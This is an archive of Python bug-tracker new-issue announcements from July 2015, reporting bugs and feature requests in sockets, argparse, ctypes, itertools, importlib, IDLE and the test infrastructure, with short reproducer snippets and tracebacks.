 unready non-blocking socket raises PermissionError
Message-ID: <1437963228.18.0.486881534673.issue24732@psf.upfronthosting.co.za>


New submission from Bryan G. Olson:

In Python 3.4 on Windows 7, the code:

    import socket
    sock = socket.socket()
    sock.bind(('127.0.0.1', 52384))
    sock.listen(5)
    sock.setblocking(False)
    csock, addr = sock.accept()

Raised:

    Traceback (most recent call last):
      File "socket_bug_test.py", line 8, in <module>
        csock, addr = sock.accept()
      File "c:\bin\Python34\lib\socket.py", line 187, in accept
        fd, addr = self._accept()
    BlockingIOError: [WinError 10035] A non-blocking socket operation could not be completed immediately

In Python 3.5.0b3 on the same system, it is raising:

    Traceback (most recent call last):
      File "socket_bug_test.py", line 8, in <module>
        csock, addr = sock.accept()
      File "c:\bin\Python35\lib\socket.py", line 195, in accept
        fd, addr = self._accept()
    PermissionError: [WinError 5] Access is denied

This is a problem for other parts of the Standard Library. I hit it playing with asyncio, where in Lib\asyncio\selector_events.py the function BaseSelectorEventLoop._sock_accept() is prepared for an unready socket to raise BlockingIOError or InterruptedError, but does not catch the WinError:

        try:
            conn, address = sock.accept()
            conn.setblocking(False)
        except (BlockingIOError, InterruptedError):
            self.add_reader(fd, self._sock_accept, fut, True, sock)
        except Exception as exc:
            fut.set_exception(exc)
        else:
            fut.set_result((conn, address))

There are other calls to accept in accept() in asyncio, that I haven't tested but also look adversely affected.

The older asyncore module looks to have a similar problem. In dispatcher.accept(): 

    def accept(self):
        # XXX can return either an address pair or None
        try:
            conn, addr = self.socket.accept()
        except TypeError:
            return None
        except OSError as why:
            if why.args[0] in (EWOULDBLOCK, ECONNABORTED, EAGAIN):
                return None
            else:
                raise
        else:
            return conn, addr

The 'except OSError as why' will catch the WinError, but why.args[0] will be errno.EACCES = 13, permission denied, which is not equal to any of anticipated errors.


My system according to Python:

    >>> import sys
    >>> sys.version
    '3.5.0b3 (default, Jul  5 2015, 07:00:46) [MSC v.1900 64 bit (AMD64)]'
    >>> sys.getwindowsversion()
    sys.getwindowsversion(major=6, minor=1, build=7601, platform=2, service_pack='Service Pack 1')

That's Windows 7 Professional, 64-bit, with Service pack 1. It has an AND Phenom II X6 1055T Processor 2.8 GHz, and 8GB of memory.

----------
components: Windows
messages: 247452
nosy: bryangeneolson, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: 3.5.0b3 Windows accept() on unready non-blocking socket raises PermissionError
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24732>
_______________________________________

From report at bugs.python.org  Mon Jul 27 12:09:10 2015
From: report at bugs.python.org (Pankaj Sharma)
Date: Mon, 27 Jul 2015 10:09:10 +0000
Subject: [New-bugs-announce] [issue24733] Logically Dead Code
Message-ID: <1437991750.04.0.826367640936.issue24733@psf.upfronthosting.co.za>


New submission from Pankaj Sharma:

Hi,
Reporting an issues of "Logically Dead code" in Python 2.7.10/Python/traceback.c +174

Please review attached patch.
thanks!

----------
components: Interpreter Core, Library (Lib)
files: Python-2.7.10-traceback.patch
keywords: patch
messages: 247458
nosy: benjamin.peterson, pankaj.s01
priority: normal
severity: normal
status: open
title: Logically Dead Code
versions: Python 2.7
Added file: http://bugs.python.org/file40035/Python-2.7.10-traceback.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24733>
_______________________________________

From report at bugs.python.org  Mon Jul 27 12:54:51 2015
From: report at bugs.python.org (Pankaj Sharma)
Date: Mon, 27 Jul 2015 10:54:51 +0000
Subject: [New-bugs-announce] [issue24734] Dereferencing a null returning
	value
Message-ID: <1437994491.85.0.821896249224.issue24734@psf.upfronthosting.co.za>


New submission from Pankaj Sharma:

Hi,
there is an issue reported for "dereferencing a null return by function "PyString_FromStringAndSize()" file:Python-2.7.10/Python/compile.c .so there should be check for NULL before dereferencing in function compiler_nameop().
Please review attached patch.

Thanks!

----------
components: Interpreter Core, Library (Lib)
files: Python-2.7.10_compile.patch
keywords: patch
messages: 247459
nosy: benjamin.peterson, pankaj.s01
priority: normal
severity: normal
status: open
title: Dereferencing a null returning value
type: crash
versions: Python 2.7
Added file: http://bugs.python.org/file40036/Python-2.7.10_compile.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24734>
_______________________________________

From report at bugs.python.org  Mon Jul 27 13:19:58 2015
From: report at bugs.python.org (Stefan Krah)
Date: Mon, 27 Jul 2015 11:19:58 +0000
Subject: [New-bugs-announce] [issue24735] Invalid access in
	combinations_with_replacement()
Message-ID: <1437995998.57.0.192445983391.issue24735@psf.upfronthosting.co.za>


New submission from Stefan Krah:

There's a corner case in cwr_next(), where the pool size is zero
but pool[0] is accessed:


from itertools import *
it = combinations_with_replacement([], 0)
next(it)


Patch attached.

----------
components: Extension Modules
files: itertools_invalid_access.diff
keywords: patch
messages: 247460
nosy: rhettinger, skrah
priority: normal
severity: normal
status: open
title: Invalid access in combinations_with_replacement()
type: behavior
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40037/itertools_invalid_access.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24735>
_______________________________________

From report at bugs.python.org  Mon Jul 27 14:52:06 2015
From: report at bugs.python.org (Alexandre Badez)
Date: Mon, 27 Jul 2015 12:52:06 +0000
Subject: [New-bugs-announce] [issue24736] argparse
	add_mutually_exclusive_group do not print help
Message-ID: <1438001526.73.0.776043102355.issue24736@psf.upfronthosting.co.za>


New submission from Alexandre Badez:

Hi,

Here is a sample of what I do:

>>> import argparse
>>> main_parser = argparse.ArgumentParser()
>>> group_ex = main_parser.add_mutually_exclusive_group()
>>> group_ex1 = group_ex.add_argument_group()
>>> group_ex1.add_argument('-a', '--atest', help="help about -a") and None
>>> group_ex1.add_argument('-b', '--btest', help="help about -b") and None
>>> group_ex.add_argument('-c', '--ctest', help="help about -c") and None
>>> main_parser.print_help()
usage: [-h] [-a ATEST] [-b BTEST] [-c CTEST]

optional arguments:
  -h, --help            show this help message and exit
  -c CTEST, --ctest CTEST
                        help about -c



Here is what I would except as help message:

>>> main_parser.print_help()
usage: [-h] [[-a ATEST] [-b BTEST]] | [-c CTEST]

optional arguments:
  -h, --help            show this help message and exit
  -c CTEST, --ctest CTEST
                        help about -c

  -a ATEST, --atest ATEST
                        help about -a
  -b BTEST, --btest BTEST
                        help about -b

						
Options '-a' and '-b' are not displayed in the help message due to the "add_mutually_exclusive_group".

----------
components: Library (Lib)
files: test_arg.py
messages: 247465
nosy: Alexandre.Badez
priority: normal
severity: normal
status: open
title: argparse add_mutually_exclusive_group do not print help
type: behavior
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4
Added file: http://bugs.python.org/file40038/test_arg.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24736>
_______________________________________

From report at bugs.python.org  Mon Jul 27 23:16:35 2015
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 27 Jul 2015 21:16:35 +0000
Subject: [New-bugs-announce] [issue24737] Doc issue: Python 3.6 doesn't
 compile on Visual Studio 2010 anymore
Message-ID: <1438031795.81.0.202066044705.issue24737@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Hi, I'm unable to compile Python default (3.6) on Windows 7 with Visual Studio 2010: it requires "ucrtd.lib" which looks like a new feature of Visual Studio 2015. Please update the developer guide to be more explicit:

Current text says that VS 2010 SP1 is supported. Well, I don't have the SP1, but I don't think that ucrtd.lib comes with VS 2010 SP1 anyway.

"""
Python 3.5 and later use Microsoft Visual Studio 2015. You can download Microsoft Visual Studio 2015 CTP 6 or newer, or you can continue to use Visual Studio 2010 SP1 until Microsoft releases the final version of Visual Studio 2015.
""""

----------
assignee: docs at python
components: Build, Documentation, Windows
messages: 247485
nosy: docs at python, haypo, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Doc issue: Python 3.6 doesn't compile on Visual Studio 2010 anymore
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24737>
_______________________________________

From report at bugs.python.org  Tue Jul 28 03:47:27 2015
From: report at bugs.python.org (Harry Lam (WaXHeLL))
Date: Tue, 28 Jul 2015 01:47:27 +0000
Subject: [New-bugs-announce] [issue24738] os.link issues on Windows & ReFS
Message-ID: <1438048047.71.0.818194592988.issue24738@psf.upfronthosting.co.za>


New submission from Harry Lam (WaXHeLL):

Storage Spaces (RAID volumes) under Windows 8.1 / Server 2012 R2 use ReFS which does not support hard links.

If the Users directory has been moved to a ReFS volume, it causes any script that uses os.link to hang (pip is one of the notable examples). As a side effect -- this also makes it so that Python can not be uninstalled if pip is installed. The script must be terminated with a ctrl-c.

Tested under 3.5.0b3 as well as 3.4.3 (x64 as well as x32).

Traceback from ctrl-c on 'pip list':

I:\>pip list
Traceback (most recent call last):
  File "C:\Program Files\Python 3.5\lib\site-packages\pip\_vendor\lockfile\linkl
ockfile.py", line 30, in acquire
    os.link(self.unique_name, self.lock_file)
OSError: [WinError 50] The request is not supported: 'I:\\Users\\[[USER NAME REMOVED]]\\AppData\
\Local\\pip\\Cache\\[[COMPUTER NAME REMOVED]]-1d14.781968199621979134564595' -> 'I:\\Users\
\[[USER NAME REMOVED]]\\AppData\\Local\\pip\\Cache\\selfcheck.json.lock'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Program Files\Python 3.5\lib\runpy.py", line 170, in _run_module_as_m
ain
    "__main__", mod_spec)
  File "C:\Program Files\Python 3.5\lib\runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "C:\Program Files\Python 3.5\Scripts\pip.exe\__main__.py", line 9, in <mo
dule>
  File "C:\Program Files\Python 3.5\lib\site-packages\pip\__init__.py", line 217
, in main
    return command.main(cmd_args)
  File "C:\Program Files\Python 3.5\lib\site-packages\pip\basecommand.py", line
220, in main
    pip_version_check(session)
  File "C:\Program Files\Python 3.5\lib\site-packages\pip\utils\outdated.py", li
ne 134, in pip_version_check
    state.save(pypi_version, current_time)
  File "C:\Program Files\Python 3.5\lib\site-packages\pip\utils\outdated.py", li
ne 71, in save
    with lockfile.LockFile(self.statefile_path):
  File "C:\Program Files\Python 3.5\lib\site-packages\pip\_vendor\lockfile\__ini
t__.py", line 238, in __enter__
    self.acquire()
  File "C:\Program Files\Python 3.5\lib\site-packages\pip\_vendor\lockfile\linkl
ockfile.py", line 49, in acquire
    time.sleep(timeout is not None and timeout/10 or 0.1)
KeyboardInterrupt

----------
components: Windows
messages: 247496
nosy: Harry Lam (WaXHeLL), paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: os.link issues on Windows & ReFS
type: crash
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24738>
_______________________________________

From report at bugs.python.org  Tue Jul 28 04:08:44 2015
From: report at bugs.python.org (Gary Peck)
Date: Tue, 28 Jul 2015 02:08:44 +0000
Subject: [New-bugs-announce] [issue24739] allow argparse.FileType to accept
	newline argument
Message-ID: <1438049324.32.0.674993969885.issue24739@psf.upfronthosting.co.za>


New submission from Gary Peck:

argparse.FileType should support a "newline" argument that corresponds to the "newline" parameter to open(). In addition to more closely mirroring the open() API, this is also needed to properly use argparse.FileType with csv.reader() or csv.writer() (which require the file being passed in to have been opened with newline='').

----------
components: Library (Lib)
messages: 247497
nosy: garyp
priority: normal
severity: normal
status: open
title: allow argparse.FileType to accept newline argument
type: enhancement
versions: Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24739>
_______________________________________

From report at bugs.python.org  Tue Jul 28 06:00:26 2015
From: report at bugs.python.org (Robert Collins)
Date: Tue, 28 Jul 2015 04:00:26 +0000
Subject: [New-bugs-announce] [issue24740] make patchcheck doesn't detect
 changes if commit is done first
Message-ID: <1438056026.2.0.092826443421.issue24740@psf.upfronthosting.co.za>


New submission from Robert Collins:

./python ./Tools/scripts/patchcheck.py
Getting the list of files that have been added/changed ... 0 files
Fixing whitespace ... 0 files
Fixing C file whitespace ... 0 files
Fixing docs whitespace ... 0 files
Docs modified ... NO
Misc/ACKS updated ... NO
Misc/NEWS updated ... NO
configure regenerated ... not needed
pyconfig.h.in regenerated ... not needed
robertc at lifeless-z140:~/work/cpython.hg$ hg diff
robertc at lifeless-z140:~/work/cpython.hg$ hg push ssh://hg at hg.python.org/cpython
pushing to ssh://hg at hg.python.org/cpython
searching for changes
remote: adding changesets
remote: adding manifests
remote: adding file changes
remote: added 1 changesets with 3 changes to 3 files
remote:  - file Lib/distutils/tests/test_core.py is not whitespace-normalized in ef5a2ba9df62
remote: * Run Tools/scripts/reindent.py on .py files or Tools/scripts/reindent-rst.py on .rst files listed above
remote: * and commit that change before pushing to this repo.
remote: transaction abort!
remote: rollback completed
remote: abort: pretxnchangegroup.checkwhitespace hook failed

The mistake I made was committing then running patchcheck.

I think it would make sense, if there are no changed files, to either 
a) error - it doesn't make sense to run like this, or
b) use the list of files from the most recent commit as the files to check.

I think b) would be easier on developers.

----------
messages: 247501
nosy: rbcollins
priority: normal
severity: normal
stage: needs patch
status: open
title: make patchcheck doesn't detect changes if commit is done first
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24740>
_______________________________________

From report at bugs.python.org  Tue Jul 28 10:08:02 2015
From: report at bugs.python.org (REIX Tony)
Date: Tue, 28 Jul 2015 08:08:02 +0000
Subject: [New-bugs-announce] [issue24741] Hangs and errors while testing on
	Ubuntu/Intel
Message-ID: <1438070882.78.0.562389820497.issue24741@psf.upfronthosting.co.za>


New submission from REIX Tony:

I'm now porting Python (2.7.10 and 3.4.3) on AIX.

Before that, I wanted to build and test on reference machines in order to see what is expected during building and testing.

However, on Ubuntu/i586 and Ubuntu/x86_64, I face hangs and errors during test phase on the 2 environments.

* Ubuntu / i586 :
 - v. 2.7.10 :
   - [152/401] test_gdb
  Blocked a full night in: (See details in file P1 : 1)


 - v. 3.4.3 :
  - [292/390/1] test_tk  : blocked during hours
  - [111/390] test_capi  : blocked during more than 1/2h

* Ubuntu / x86_64 :
 - 3.4.3 
   - [137/390] test_ftplib   : full night
   See details in P1: 2)

  - Errors:
    - 3 tests failed:
       test_ssl test_urllib2_localnet test_urllib2net
      - test_ssl : test_connect_ex (test.test_ssl.NetworkedTests) ... FAIL
      - test_urllib2_localnet : test_basic_auth_success
              (test.test_urllib2_localnet.BasicAuthTests) ... ERROR
    - [141/390/2] test_venv
test test_venv failed -- Traceback (most recent call last):
  File "/home/reixt/PYTHON-3/Python-3.4.3/Lib/test/test_venv.py", line 390, in test_with_pip
    self.assertEqual(err, "")
AssertionError: "/tmp/tmpu049e_1j/lib/python3.4/site-pack[181 chars])>\n" != ''
- /tmp/tmpu049e_1j/lib/python3.4/site-packages/pip/__init__.py:217: ResourceWarning: unclosed <ssl.SSLSocket fd=4, family=AddressFamily.AF_INET, type=2049, proto=6, laddr=('10.197.64.141', 39371), raddr=('129.183.4.8', 8080)>


I'm new with building Python.

I've followed instructions from: 
   https://docs.python.org/devguide/
  Download: Python-3.4.3.tar
  ./configure --with-pydebug && make -j2
  ./python -m test -j3

I've found:
 http://buildbot.python.org/all/waterfall?category=3.4.stable
 and it looks like there are NO known issue on Ubuntu/x86_64 with '3.4'. However, I'm using source code of 3.4.3 . Difference between 3.4 and 3.4.3 ?

Are there more instructions I must follow in order to improve my test environment on Ubuntu/x86_64 ?

----------
components: Tests
files: Py1
messages: 247506
nosy: trex58
priority: normal
severity: normal
status: open
title: Hangs and errors while testing on Ubuntu/Intel
type: behavior
versions: Python 3.4
Added file: http://bugs.python.org/file40042/Py1

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24741>
_______________________________________

From report at bugs.python.org  Tue Jul 28 13:19:05 2015
From: report at bugs.python.org (razvan.paul.blaga)
Date: Tue, 28 Jul 2015 11:19:05 +0000
Subject: [New-bugs-announce] [issue24742] type(dict with docstring) returns
	set instead of dict
Message-ID: <1438082345.76.0.0684043718441.issue24742@psf.upfronthosting.co.za>


New submission from razvan.paul.blaga:

d = {
'''
Commented dictionary values
'''
}

print type(d) # returns 'set' instead of 'dict'

----------
components: Library (Lib)
messages: 247517
nosy: razvan.paul.blaga
priority: normal
severity: normal
status: open
title: type(dict with docstring) returns set instead of dict
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24742>
_______________________________________

From report at bugs.python.org  Tue Jul 28 14:02:34 2015
From: report at bugs.python.org (Michael Ensslin)
Date: Tue, 28 Jul 2015 12:02:34 +0000
Subject: [New-bugs-announce] [issue24743] Make _PyTraceback_Add public
Message-ID: <1438084954.97.0.508949242804.issue24743@psf.upfronthosting.co.za>


New submission from Michael Ensslin:

Python 3.4.3 introduced an internal function, _PyTraceback_Add, which is quite useful when constructing Python exception objects.

I'm using it when constructing a Python Exception object from a C++ exception object, to add "fake traceback frames" that contain the line number / file name where the C++ exception has occurred.

The function is exported via Python.h, but unfortunately it seems undocumented, and must thus be considered unstable; I request to change that.

----------
components: Extension Modules
messages: 247521
nosy: mic-e
priority: normal
severity: normal
status: open
title: Make _PyTraceback_Add public
type: enhancement
versions: Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24743>
_______________________________________

From report at bugs.python.org  Tue Jul 28 18:11:28 2015
From: report at bugs.python.org (Cal Leeming)
Date: Tue, 28 Jul 2015 16:11:28 +0000
Subject: [New-bugs-announce] [issue24744] Lack of type checks in
	pkgutil.walk_packages and friends
Message-ID: <1438099888.11.0.752519898586.issue24744@psf.upfronthosting.co.za>


New submission from Cal Leeming:

The documentation states that pkgutil.walk_packages() path must be None or a list of paths [1]. After passing in a string, the result was a blank list rather than a type error or automatic conversion to a list.

If this method is documented that it must only accept a list or None, then there should surely be type checks to this effect? This was a bit of a gotcha that left me head scratching for 30 minutes (after not realising it only took a list, not an str, which in itself seems a bit odd)

----------
components: Interpreter Core
messages: 247529
nosy: sleepycal
priority: normal
severity: normal
status: open
title: Lack of type checks in pkgutil.walk_packages and friends
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24744>
_______________________________________

From report at bugs.python.org  Wed Jul 29 02:17:08 2015
From: report at bugs.python.org (Mark Roseman)
Date: Wed, 29 Jul 2015 00:17:08 +0000
Subject: [New-bugs-announce] [issue24745] Better default font for editor
Message-ID: <1438129028.22.0.104228147207.issue24745@psf.upfronthosting.co.za>


New submission from Mark Roseman:

By default, IDLE chooses courier for the text editor font.

As you'll see from the attached screenshot, while this looks ok on Windows, it's inconsistent with the standard fixed width fonts on Linux and OS X, and borders on unreadable particularly on the latter. 

While this can be changed via the configuration dialog (the 'fixed' versions in the screenshots do just that), this is one of the things that really jumps out at you the first time you run IDLE, and not in a good way.

Tk defines a font named 'TkFixedFont', which we should take advantage of instead of hardcoding courier; details of the font can be retrieved via

    tkinter.font.nametofont('TkFixedFont').actual()

Note there's a bit of an overlap here with #<20580>, but suggests that there may be some cases where determining defaults programmatically rather than hardcoding multiple defaults may be appropriate.

----------
components: IDLE
files: defaultfont.png
messages: 247549
nosy: kbk, markroseman, roger.serwy, terry.reedy
priority: normal
severity: normal
status: open
title: Better default font for editor
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file40048/defaultfont.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24745>
_______________________________________

From report at bugs.python.org  Wed Jul 29 03:26:52 2015
From: report at bugs.python.org (R. David Murray)
Date: Wed, 29 Jul 2015 01:26:52 +0000
Subject: [New-bugs-announce] [issue24746] doctest 'fancy diff' formats
 incorrectly strip trailing whitespace
Message-ID: <1438133212.76.0.56822320345.issue24746@psf.upfronthosting.co.za>


New submission from R. David Murray:

I got a doctest failure that when I wrote the output to a file showed two exactly identical lines reported as being different.  Turning off the fancy diff, I could see trailing whitespace on one of the lines.  It turns out that when a fancy diff is requested, doctest explicitly goes through and strips trailing whitespace from the diff lines returned by difflib.  This seems to me to be obviously incorrect.  There is no clue in the changelog why this was done...this goes back to a massive refactoring of doctest that was done for python 2.4, and the fancy diff was introduced at that point, complete with this strange behavior.

I tried to write a test for this but couldn't get it working in the time I was willing to devote to this (I've switched to NDIFF format, which shows the whitespace error even when the actual whitespace is stripped).  Perhaps testing this via doctest isn't the best idea anyway, since it will be far to easy for the trailing whitespace in the test to get accidentally stripped.  I've attached my work as a diff for reference if someone wants to work on this.

----------
components: Library (Lib)
files: doctest_fancy_diff_trailing_whitespace.diff
keywords: easy, patch
messages: 247552
nosy: r.david.murray
priority: normal
severity: normal
stage: test needed
status: open
title: doctest 'fancy diff' formats incorrectly strip trailing whitespace
type: behavior
versions: Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40049/doctest_fancy_diff_trailing_whitespace.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24746>
_______________________________________

From report at bugs.python.org  Wed Jul 29 14:11:26 2015
From: report at bugs.python.org (Petr Viktorin)
Date: Wed, 29 Jul 2015 12:11:26 +0000
Subject: [New-bugs-announce] [issue24747] ctypes silently truncates ints
	larger than C int
Message-ID: <1438171886.06.0.632497745661.issue24747@psf.upfronthosting.co.za>


New submission from Petr Viktorin:

A Python int larger than a C int but smaller than a C long is silently truncated to int when passed to a ctypes function without C type information attached.

Ints longer than C long fail with an OverflowError; I believe the same should happen for numbers that don't fit in a C int.


Reproducer (for 64-bit systems):

    from ctypes import cdll, ArgumentError
    libc = cdll.LoadLibrary("libc.so.6")


    # Silently truncated
    libc.printf(b"%x\n", 0x1234567890)

    try:
        # OverflowError raised
        libc.printf(b"%x\n", 2 ** 64)
    except ArgumentError as e:
        print(e)


see callproc.c, function ConvParam, after the PyLong_Check.

----------
components: ctypes
messages: 247565
nosy: encukou
priority: normal
severity: normal
status: open
title: ctypes silently truncates ints larger than C int
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24747>
_______________________________________

From report at bugs.python.org  Wed Jul 29 15:20:27 2015
From: report at bugs.python.org (Etienne Fortin)
Date: Wed, 29 Jul 2015 13:20:27 +0000
Subject: [New-bugs-announce] [issue24748] Change of behavior for importlib
 between 3.4 and 3.5 with DLL loading
Message-ID: <1438176027.56.0.467476097176.issue24748@psf.upfronthosting.co.za>


New submission from Etienne Fortin:

The pywin32 package use imp.load_dynamic() to load a DLL with Windows specific type. On Python 3.4+ imp.load_dynamic() point to the following code which use the newer importlib module:

        import importlib.machinery
        loader = importlib.machinery.ExtensionFileLoader(name, path)
        return loader.load_module()

In pywin32 a mechanism is used to be able to have part of a module globals defined in python (pywintypes.py), and the reminder in a DLL (pywintypesXX.dll). The code in pywin32 between 3.4 and 3.5 is the same.

In Python 3.4, calling imp.load_dynamic(), which point to the code above, inside the python part of the module definition loads the types defined in the DLL.

In Python 3.5, calling imp.load_dynamic(), which also points to the code above, inside the python part of the module definition reloads the same python module, not the DLL. Even though a path to a DLL is given AND when doing introspection of the module it clearly points to the specified DLL. 

This is a change of behavior that breaks pywin32, but possibly other modules that rely on this behavior.

----------
components: Extension Modules, Windows
files: pywintypes.py
messages: 247573
nosy: ebfortin, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Change of behavior for importlib between 3.4 and 3.5 with DLL loading
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file40055/pywintypes.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24748>
_______________________________________

From report at bugs.python.org  Wed Jul 29 16:12:03 2015
From: report at bugs.python.org (nivin)
Date: Wed, 29 Jul 2015 14:12:03 +0000
Subject: [New-bugs-announce] [issue24749] Which fastest python-mysql
	connector?
Message-ID: <1438179123.25.0.0486802960641.issue24749@psf.upfronthosting.co.za>


New submission from nivin:

Please suggest the fastest python-mysql connector. Our aim is to call procedures and resturn data.

----------
messages: 247576
nosy: nivin
priority: normal
severity: normal
status: open
title: Which fastest python-mysql connector?
type: performance
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24749>
_______________________________________

From report at bugs.python.org  Wed Jul 29 22:55:02 2015
From: report at bugs.python.org (Mark Roseman)
Date: Wed, 29 Jul 2015 20:55:02 +0000
Subject: [New-bugs-announce] [issue24750] IDLE: Cosmetic improvements for
	main window
Message-ID: <1438203302.32.0.836313086846.issue24750@psf.upfronthosting.co.za>


New submission from Mark Roseman:

The screen shot shows the current version of the main IDLE window, with the little pics at the bottom indicating what it looks like when the window loses focus.  A few entirely cosmetic changes I'd like to make here:

1. Swap scrollbar for ttk scrollbar; this visually will affect the Linux version. Note that even the ttk scrollbar is somewhat out-of-date with current desktops, but it's a step in the right direction!

2. You'll notice the slight border around the text widget when active; barely visible on Windows, a bit more so on Linux, and very much there on Mac (this is the "highlightthickness" attribute). Current conventions on all three platforms do away with this, so it should be removed for IDLE.

3. Regarding the items in the status bar, I'm going to suggest removing the sunken reliefs around the two items. Again, this was all the range long ago, but most apps on all platforms now have more minimal decorations in those contexts. If there were more (different) things on the status bar, I might suggest a light vertical separator between sections, but here there's no need for decoration at all.

4. Color and border on status bar. It's most apparent on the Mac inactive window pic, where the status bar blends in to the editor. I plan on tweaking the status bar so it's always a light grey color, and has a small darker separator above it. I may see about tweaking the font, as status bars tend to use a slightly smaller font nowadays.

5. Spacing for icon size grip on Mac should be removed for recent versions of OS X. This hasn't been necessary since before OS X Lion (released 2011). I can have the code include it when running on earlier versions of OS X.

These are all tiny changes, but combined with a decent font make a big difference visually when IDLE first starts up.

----------
components: IDLE
files: idle_main.png
messages: 247627
nosy: kbk, markroseman, roger.serwy, terry.reedy
priority: normal
severity: normal
status: open
title: IDLE: Cosmetic improvements for main window
type: enhancement
versions: Python 2.7, Python 3.4, Python 3.5
Added file: http://bugs.python.org/file40060/idle_main.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24750>
_______________________________________

From report at bugs.python.org  Wed Jul 29 23:25:56 2015
From: report at bugs.python.org (Zachary Ware)
Date: Wed, 29 Jul 2015 21:25:56 +0000
Subject: [New-bugs-announce] [issue24751] regrtest/buildbot: test run marked
 as failure even when re-run succeeds
Message-ID: <1438205156.51.0.585052183342.issue24751@psf.upfronthosting.co.za>


New submission from Zachary Ware:

The buildbots all run the test suite with the '-w', which re-runs any tests that failed in the main test sequence at a higher verbosity level.  More often than not it seems the re-run tests succeed, but the exit code is still 1 so the build is marked as a failure.

The simplest action I'd like would be to exit(0) iff all re-run tests pass on the re-run.  Alternatively, we could try to get a bit fancier and exit with some other return code, and adjust the build master to interpret that return code as "passed, with warnings" and mark the build as amber rather than red.

----------
keywords: buildbot, easy
messages: 247632
nosy: zach.ware
priority: low
severity: normal
status: open
title: regrtest/buildbot: test run marked as failure even when re-run succeeds

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24751>
_______________________________________

From report at bugs.python.org  Thu Jul 30 08:46:07 2015
From: report at bugs.python.org (Yongzhi Pan)
Date: Thu, 30 Jul 2015 06:46:07 +0000
Subject: [New-bugs-announce] [issue24752] SystemError when importing from a
	non-package directory
Message-ID: <1438238767.05.0.118820684187.issue24752@psf.upfronthosting.co.za>


New submission from Yongzhi Pan:

In an empty dir, e.g. Desktop, the following import raises SystemError:

>>> from . import foo
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
SystemError: Parent module '' not loaded, cannot perform relative import

The documentation says that SystemError should be reported as a bug.

----------
components: Interpreter Core
messages: 247653
nosy: fossilet
priority: normal
severity: normal
status: open
title: SystemError when importing from a non-package directory
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24752>
_______________________________________

From report at bugs.python.org  Thu Jul 30 09:27:23 2015
From: report at bugs.python.org (Kentaro Wada)
Date: Thu, 30 Jul 2015 07:27:23 +0000
Subject: [New-bugs-announce] [issue24753] function to get completion install
	location for setup.py?
Message-ID: <1438241243.5.0.586246186733.issue24753@psf.upfronthosting.co.za>


New submission from Kentaro Wada:

I'm distributing command line tools by pypi, and the package also installs shell completion file.
The default shell completion install location is sometimes platform specific, so the code cannot be so simple. 
I think it is good to have a function which can be used easily when distributing this kind of package. I think the function is similar with ``distutils.sysconfig.get_python_lib()``.

Please see attached file. It contains a function I'm thinking to add now.

----------
components: Installation
files: get_completion_install_location.py
messages: 247654
nosy: Kentaro Wada
priority: normal
severity: normal
status: open
title: function to get completion install location for setup.py?
type: enhancement
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40064/get_completion_install_location.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue24753>
_______________________________________

From report at bugs.python.org  Thu Jul 30 11:56:58 2015
From: report at bugs.python.org (Douglas Bagnall)
Date: Thu, 30 Jul 2015 09:56:58 +0000
Subject: [New-bugs-announce] [issue24754] argparse add_argument with
 action="store_true", type=bool should not crash
Message-ID: <1438250218.94.0.699008040775.issue24754@psf.upfronthosting.co.za>


New submission from Douglas Bagnall:

A line like this:

    parser.add_argument('--hello', action="store_true", type=bool)

causes a TypeError in 2.7 and 3.4:

   File "/usr/lib/python3.4/argparse.py", line 1344, in add_argument
     action = action_class(**kwargs)

     TypeError: __init__() got an unexpected keyword argument 'type'

It shouldn't really.

----------
components: Library (Lib)
files: argparse-crash.py
messages: 247658
nosy: dbagnall
priority: normal
severity: normal
status: open
title: argparse add_argument with action="store_true", type=bool should not crash
versions: Python 2.7, Python 3.4
